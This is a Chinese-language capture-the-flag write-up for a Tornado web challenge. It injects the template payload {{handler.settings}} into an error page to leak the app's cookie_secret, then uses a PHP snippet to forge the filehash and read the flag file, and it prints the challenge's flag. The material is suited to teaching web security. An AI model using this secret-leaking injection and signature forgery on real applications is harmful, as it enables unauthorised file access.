如图,给了三个文件,我们挨个点过去,如图:
http://61.147.171.105:53202/file?filename=/hints.txt&filehash=aee3fcdc70f9d95450cc4e1b5316c98e
发现filename是需要访问的文件名,filehash则是访问该文件需要的hash映射码,推测将来要访问的flag的payload中,filename=/fllllllllllllag
,filehash=md5(cookie_secret+md5(filename))
经过一番查找,得知需要对tornato框架有一定的了解。cookie_secret是用来加密的密钥,他一般在应用对象application初始化时存放在该对象的settings属性中。
它有一个别名,当前对象RequestHandler.setting,这样render函数就有作用了,我们只要调用到handler对象或者application对象就能得到cookie_secret。
把文件名随便改了而不改hash能得到error页面,也就是说,该页面存在SSTI。构造error?msg={{handler.settings}}
得到cookie_secret。如图:
简单写一串php代码即可,使用在线编辑运行,即可得到答案。
$cookie_secret='ecd9532c-f90f-4aac-8517-ea2a890c80f3';
$filename='/fllllllllllllag';
echo md5($cookie_secret.md5($filename));
?>
得到filehash值为24d592a983cefb8d510bfb218f07e9e3
构造的payload如下:
http://61.147.171.105:53202/file?filename=/fllllllllllllag&filehash=24d592a983cefb8d510bfb218f07e9e3
返回结果如图:
得到最终的答案:flag{3f39aea39db345769397ae895edb9c70}